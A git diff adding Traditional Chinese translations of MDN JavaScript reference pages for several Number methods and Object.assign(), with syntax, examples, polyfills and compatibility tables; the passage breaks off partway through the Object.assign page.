diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/isfinite/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/isfinite/index.html
new file mode 100644
index 0000000000..a15d29c7c0
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/isfinite/index.html
@@ -0,0 +1,93 @@
+---
+title: Number.isFinite()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.isFinite()</code></strong> 方法會判斷傳入的值是否為有限數（finite number）。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isfinite.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Number.isFinite(v<var>alue</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>The value to be tested for finiteness.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>A {{jsxref("Boolean")}} indicating whether or not the given value is a finite number.</p>
+
+<h2 id="說明">說明</h2>
+
+<p>In comparison to the global {{jsxref("isFinite", "isFinite()")}} function, this method doesn't forcibly convert the parameter to a number. This means only values of the type number, that are also finite, return <code>true</code>.</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">Number.isFinite(Infinity);  // false
+Number.isFinite(NaN);       // false
+Number.isFinite(-Infinity); // false
+
+Number.isFinite(0);         // true
+Number.isFinite(2e64);      // true
+
+Number.isFinite('0');       // false, would've been true with
+                            // global isFinite('0')
+Number.isFinite(null);      // false, would've been true with
+                            // global isFinite(null)
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Number.isFinite = Number.isFinite || function(value) {
+    return typeof value === 'number' &amp;&amp; isFinite(value);
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isfinite', 'Number.isInteger')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isFinite")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{jsxref("Number")}} object it belongs to.</li>
+ <li>The global function {{jsxref("isFinite")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/isnan/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/isnan/index.html
new file mode 100644
index 0000000000..9209e40779
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/isnan/index.html
@@ -0,0 +1,99 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Number.isNaN()</code></strong> method determines whether the passed value is {{jsxref("NaN")}} and its type is {{jsxref("Number")}}. It is a more robust version of the original, global {{jsxref("isNaN", "isNaN()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Number.isNaN(<var>value</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>The value to be tested for {{jsxref("NaN")}}.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><strong>true</strong> if the given value is {{jsxref("NaN")}} and its type is {{jsxref("Number")}}; otherwise, <strong>false</strong>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Due to both equality operators, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} and {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, evaluating to <code>false</code> when checking if {{jsxref("NaN")}} <em>is</em> {{jsxref("NaN")}}, the function <code>Number.isNaN()</code> has become necessary. This situation is unlike all other possible value comparisons in JavaScript.</p>
+
+<p>In comparison to the global {{jsxref("isNaN", "isNaN()")}} function, <code>Number.isNaN()</code> doesn't suffer the problem of forcefully converting the parameter to a number. This means it is now safe to pass values that would normally convert to {{jsxref("NaN")}}, but aren't actually the same value as {{jsxref("NaN")}}. This also means that only values of the type number, that are also {{jsxref("NaN")}}, return <code>true</code>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">Number.isNaN(NaN);        // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0);      // true
+
+// e.g. these would have been true with global isNaN()
+Number.isNaN('NaN');      // false
+Number.isNaN(undefined);  // false
+Number.isNaN({});         // false
+Number.isNaN('blabla');   // false
+
+// These all return false
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN('37');
+Number.isNaN('37.37');
+Number.isNaN('');
+Number.isNaN(' ');
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>The following works because NaN is the only value in javascript which is not equal to itself.</p>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+    return value !== value;
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isNaN")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/prototype/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/prototype/index.html
new file mode 100644
index 0000000000..2a41977a2d
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/prototype/index.html
@@ -0,0 +1,84 @@
+---
+title: Number.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Number/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number.prototype</code></strong> 屬性用來表示 {{jsxref("Number")}} 建構式的原型。</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="說明">說明</h2>
+
+<p>所有 {{jsxref("Number")}} 實體都繼承自 <code>Number.prototype</code> 。{{jsxref("Number")}} 建構式的原型物件可以被修改並作用在所有 {{jsxref("Number")}} 實體。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt><code>Number.prototype.constructor</code></dt>
+ <dd>回傳建立這個物件實體的建構式。預設為 {{jsxref("Number")}} 物件。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Number.prototype.toExponential()")}}</dt>
+ <dd>回傳以「科學記數法」表示的數值字串。</dd>
+ <dt>{{jsxref("Number.prototype.toFixed()")}}</dt>
+ <dd>回傳以定點表示的數值字串。</dd>
+ <dt>{{jsxref("Number.prototype.toLocaleString()")}}</dt>
+ <dd>回傳以當地語言為主的數值字串。這覆寫 {{jsxref("Object.prototype.toLocaleString()")}} 的方法。</dd>
+ <dt>{{jsxref("Number.prototype.toPrecision()")}}</dt>
+ <dd>回傳以定點或科學記數表示的數值字串。</dd>
+ <dt>{{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Returns an object literal representing the specified {{jsxref("Number")}} object; you can use this value to create a new object. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd>
+ <dt>{{jsxref("Number.prototype.toString()")}}</dt>
+ <dd>回傳以特定基數表示的數值字串。這覆寫 {{jsxref("Object.prototype.toString()")}} 的方法 。</dd>
+ <dt>{{jsxref("Number.prototype.valueOf()")}}</dt>
+ <dd>回傳這個物件的原始型別，即原始數值。這覆寫 {{jsxref("Object.prototype.valueOf()")}} 。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註記</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-number-prototype-object', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.prototype")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/toexponential/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/toexponential/index.html
new file mode 100644
index 0000000000..622314ecfb
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/toexponential/index.html
@@ -0,0 +1,164 @@
+---
+title: Number.prototype.toExponential()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+tags:
+  - 數字
+  - 科學技數法
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toExponential
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toExponential()</code></strong> method 用來將數字轉成「科學記數法」格式。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toExponential([<var>fractionDigits</var>])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>參數</th>
+   <th>可選</th>
+   <th>默認值</th>
+   <th>類型</th>
+   <th>說明</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fractionDigits</code></td>
+   <td>●</td>
+   <td><font face="Consolas, Liberation Mono, Courier, monospace">默認盡可能將數字完整顯示</font></td>
+   <td><code>{{jsxref("Number")}}（正整數）</code></td>
+   <td>小數點後的位數。需為 0 至 20 之間。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="回傳直">回傳直</h3>
+
+<p>一 string，將數字以「科學計數法」格式表示出來</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>若 fractionDigits</code> 超出範圍（可接受的範圍是 0 ～ 20 之間的正整數）觸發 {{jsxref("RangeError")}}。</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>若參數 <code>fractionDigits</code> 不是 {{jsxref("Number")}}，則觸發{{jsxref("TypeError")}}。</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>If the <code>fractionDigits</code> argument is omitted, the number of digits after the decimal point defaults to the number of digits necessary to represent the value uniquely.</p>
+
+<p>If you use the <code>toExponential()</code> method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to prevent the dot from being interpreted as a decimal point.</p>
+
+<p>If a number has more digits than requested by the <code>fractionDigits</code> parameter, the number is rounded to the nearest number represented by <code>fractionDigits</code> digits. See the discussion of rounding in the description of the {{jsxref("Number.prototype.toFixed", "toFixed()")}} method, which also applies to <code>toExponential()</code>.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_toExponential">Using <code>toExponential</code></h3>
+
+<pre class="brush: js">var numObj = 77.1234;
+
+console.log(numObj.toExponential());  // logs 7.71234e+1
+console.log(numObj.toExponential(4)); // logs 7.7123e+1
+console.log(numObj.toExponential(2)); // logs 7.71e+1
+console.log(77.1234.toExponential()); // logs 7.71234e+1
+console.log(77 .toExponential());     // logs 7.7e+1
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/tofixed/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/tofixed/index.html
new file mode 100644
index 0000000000..7a5afb608f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/tofixed/index.html
@@ -0,0 +1,108 @@
+---
+title: Number.prototype.toFixed()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toFixed
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toFixed()</code></strong> 方法會使用定點小數表示法（fixed-point notation）來格式化數字。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-tofixed.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate"><code><var>numObj</var>.toFixed([<var>digits</var>])</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>digits 小數位</code></dt>
+ <dd>選擇性輸入。顯示數值至多少個小數點，範圍由0到20之間，執行時或可支援非常大範圍的數值。如果無輸入會默認做0。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>一個代表以定點小數表示法（fixed-point notation）格式化數字後的字串。</p>
+
+<h3 id="例外">例外</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>If <code>digits</code> is too small or too large. Values between 0 and 100, inclusive, will not cause a {{jsxref("RangeError")}}. Implementations are allowed to support larger and smaller values as chosen.</dd>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>If this method is invoked on an object that is not a {{jsxref( "Number")}}.</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p><strong><code>toFixed()</code></strong> returns a string representation of <code>numObj</code> that does not use exponential notation and has exactly <code>digits</code> digits after the decimal place. The number is rounded if necessary, and the fractional part is padded with zeros if necessary so that it has the specified length. If <code>numObj</code> is greater than <code>1e+21</code>, this method simply calls {{jsxref("Number.prototype.toString()")}} and returns a string in exponential notation.</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Using_toFixed">Using <code>toFixed</code></h3>
+
+<pre class="brush: js notranslate">var numObj = 12345.6789;
+
+numObj.toFixed();       // Returns '12346': note rounding, no fractional part
+numObj.toFixed(1);      // Returns '12345.7': note rounding
+numObj.toFixed(6);      // Returns '12345.678900': note added zeros
+(1.23e+20).toFixed(2);  // Returns '123000000000000000000.00'
+(1.23e-10).toFixed(2);  // Returns '0.00'
+2.34.toFixed(1);        // Returns '2.3'
+2.35.toFixed(1);        // Returns '2.4'. Note that it rounds up in this case.
+-2.34.toFixed(1);       // Returns -2.3 (due to operator precedence, negative number literals don't return a string...)
+(-2.34).toFixed(1);     // Returns '-2.3' (...unless you use parentheses)
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.toFixed")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/assign/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/assign/index.html
new file mode 100644
index 0000000000..f4dfca5af7
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/assign/index.html
@@ -0,0 +1,249 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Reference/Global_Objects/Object/assign
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<div><strong><code>Object.assign()</code></strong>被用來複製一個或多個物件自身所有可數的屬性到另一個目標物件。回傳的值為該目標物件。</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">Object.assign(<var>target</var>, ...<var>sources</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>目標物件</dd>
+ <dt><code>sources</code></dt>
+ <dd>來源物件</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>     合併目標物件及(多個)來源物件所得到的最終物件。</p>
+
+<h2 id="說明">說明</h2>
+
+<p>如果在目標物件裡的屬性名稱(key)和來源物件的屬性名稱相同，將會被覆寫。若來源物件之間又有相同的屬性名稱，則後者會將前者覆寫。</p>
+
+<p><code>Object.assign()</code>只會從來源物件將自身可列舉的屬性複製到目標物件。此函式方法(method) 使用來源物件的<code>[[Get]]</code>事件和目標物件的<code>[[Set]]</code>事件，使它將會執行getters和setters。因此，這邊的指派(<em>assigns</em>)屬性不只是複製或定義新屬性。若在合併包含getters的來源物件時，這個事件可能就不適合用來合併屬性。至於複製屬性的定義(包含其可列舉性)到各屬性，反倒是會用到 {{jsxref("Object.getOwnPropertyDescriptor()")}} 和 {{jsxref("Object.defineProperty()")}} 。</p>
+
+<p>{{jsxref("String")}} 和 {{jsxref("Symbol")}} 類型的屬性都會被複製。</p>
+
+<p>若發生錯誤，例如: 當一個屬性不可被寫入時，將會引發 {{jsxref("TypeError")}} 的錯誤，且目標物件剩餘的屬性將不會改變。</p>
+
+<p>注意: <code>Object.assign()</code> 不會在來源物件屬性的值為{{jsxref("null")}} 或 {{jsxref("undefined")}} 的時候拋出錯誤。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="複製物件">複製物件</h3>
+
+<pre class="brush: js notranslate">var obj = { a: 1 };
+var copy = Object.assign({}, obj);
+console.log(copy); // { a: 1 }
+</pre>
+
+<h3 id="Deep_Clone" name="Deep_Clone">警告:非深層複製</h3>
+
+<p>深層複製(deep clone)需要使用其他的替代方案，因為 <code>Object.assign()</code> 僅複製屬性值。若來源物件的值參照到一個子物件，它只會複製該子物件的參照。</p>
+
+<pre class="brush: js notranslate">function test() {
+  let a = { b: {c:4} , d: { e: {f:1}} }
+  let g = Object.assign({},a) // 淺層
+  let h = JSON.parse(JSON.stringify(a)); // 深層
+  console.log(g.d) // { e: { f: 1 } }
+  g.d.e = 32
+  console.log('g.d.e set to 32.') // g.d.e set to 32.
+  console.log(g) // { b: { c: 4 }, d: { e: 32 } }
+  console.log(a) // { b: { c: 4 }, d: { e: 32 } }
+  console.log(h) // { b: { c: 4 }, d: { e: { f: 1 } } }
+  h.d.e = 54
+  console.log('h.d.e set to 54.') // h.d.e set to 54.
+  console.log(g) // { b: { c: 4 }, d: { e: 32 } }
+  console.log(a) // { b: { c: 4 }, d: { e: 32 } }
+  console.log(h) // { b: { c: 4 }, d: { e: 54 } }
+}
+test();
+</pre>
+
+<h3 id="合併物件">合併物件</h3>
+
+<pre class="brush: js notranslate">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1);  // { a: 1, b: 2, c: 3 }, 目標物件本身也被改變。</pre>
+
+<h3 id="有相同屬性時合併物件">有相同屬性時合併物件</h3>
+
+<pre class="brush: js notranslate">var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }，屬性c為o3.c的值，最後一個出現的屬性c。</pre>
+
+<p>所有的屬性會被後方相同屬性名稱的值覆寫。</p>
+
+<h3 id="複製_Symbol_型別的屬性">複製 Symbol 型別的屬性</h3>
+
+<pre class="brush: js notranslate">var o1 = { a: 1 };
+var o2 = { [Symbol('foo')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]非不在
+</pre>
+
+<h3 id="在屬性鏈中的不可列舉屬性不會被複製">在屬性鏈中的不可列舉屬性不會被複製</h3>
+
+<pre class="brush: js notranslate">var obj = Object.create({ foo: 1 }, { // foo 是 obj 的屬性鏈。
+  bar: {
+    value: 2  // bar 是不可列舉的屬性，因為enumerable預設為false。
+  },
+  baz: {
+    value: 3,
+    enumerable: true  // baz 是自身可列舉的屬性。
+  }
+});
+
+var copy = Object.assign({}, obj);
+console.log(copy); // { baz: 3 }
+</pre>
+
+<h3 id="原始型別會被包成物件">原始型別會被包成物件</h3>
+
+<pre class="brush: js notranslate">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo');
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// 原始型別會被打包，null和undefined則會被忽略。
+// 注意: 只有打包成物件的字串是可列舉的，即可被複製的。
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="任何異常將會中斷正進行的複製程序">任何異常將會中斷正進行的複製程序</h3>
+
+<pre class="brush: js notranslate">var target = Object.defineProperty({}, 'foo', {
+  value: 1,
+  writable: false
+}); // target.foo 是 read-only (唯讀)屬性
+
+Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" 是 read-only
+// 在指派值給 target.foo 時，異常(Exception)會被拋出。
+
+console.log(target.bar);  // 2, 第一個來源物件複製成功。
+console.log(target.foo2); // 3, 第二個來源物件的第一個屬性複製成功。
+console.log(target.foo);  // 1, 異常在這裡拋出。
+console.log(target.foo3); // undefined, 複製程式已中斷，複製失敗。
+console.log(target.baz);  // undefined, 第三個來源物件也不會被複製。
+</pre>
+
+<h3 id="複製的存取程序">複製的存取程序</h3>
+
+<pre class="brush: js notranslate">var obj = {
+  foo: 1,
+  get bar() {
+    return 2;
+  }
+};
+
+var copy = Object.assign({}, obj);
+console.log(copy);
+// { foo: 1, bar: 2 }， copy.bar的值，是obj.bar的getter回傳的值。
+
+// 這個函式用來複製完整的描述內容。
+function completeAssign(target, ...sources) {
+  sources.forEach(source =&gt; {
+    let descriptors = Object.keys(source).reduce((descriptors, key) =&gt; {
+      descriptors[key] = Object.getOwnPropertyDescriptor(source, key);
+      return descriptors;
+    }, {});
+    // Object.assign 預設會複製可列舉的Symbols。
+    Object.getOwnPropertySymbols(source).forEach(sym =&gt; {
+      let descriptor = Object.getOwnPropertyDescriptor(source, sym);
+      if (descriptor.enumerable) {
+        descriptors[sym] = descriptor;
+      }
+    });
+    Object.defineProperties(target, descriptors);
+  });
+  return target;
+}
+
+var copy = completeAssign({}, obj);
+console.log(copy);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>{{Glossary("Polyfill","polyfill")}} 不支援Symbol屬性，因為ES5沒有Symbol型別。</p>
+
+<pre class="brush: js notranslate">if (typeof Object.assign != 'function') {
+  Object.assign = function (target, varArgs) { // .length of function is 2
+    'use strict';
+    if (target == null) { // TypeError if undefined or null
+      throw new TypeError('Cannot convert undefined or null to object');
+    }
+
+    var to = Object(target);
+
+    for (var index = 1; index &lt; arguments.length; index++) {
+      var nextSource = arguments[index];
+
+      if (nextSource != null) { // Skip over if undefined or null
+        for (var nextKey in nextSource) {
+          // Avoid bugs when hasOwnProperty is shadowed
+          if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+            to[nextKey] = nextSource[nextKey];
+          }
+        }
+      }
+    }
+    return to;
+  };
+}
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{Compat("javascript.builtins.Object.assign")}}</div>
+
+<div id="compat-desktop"></div>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
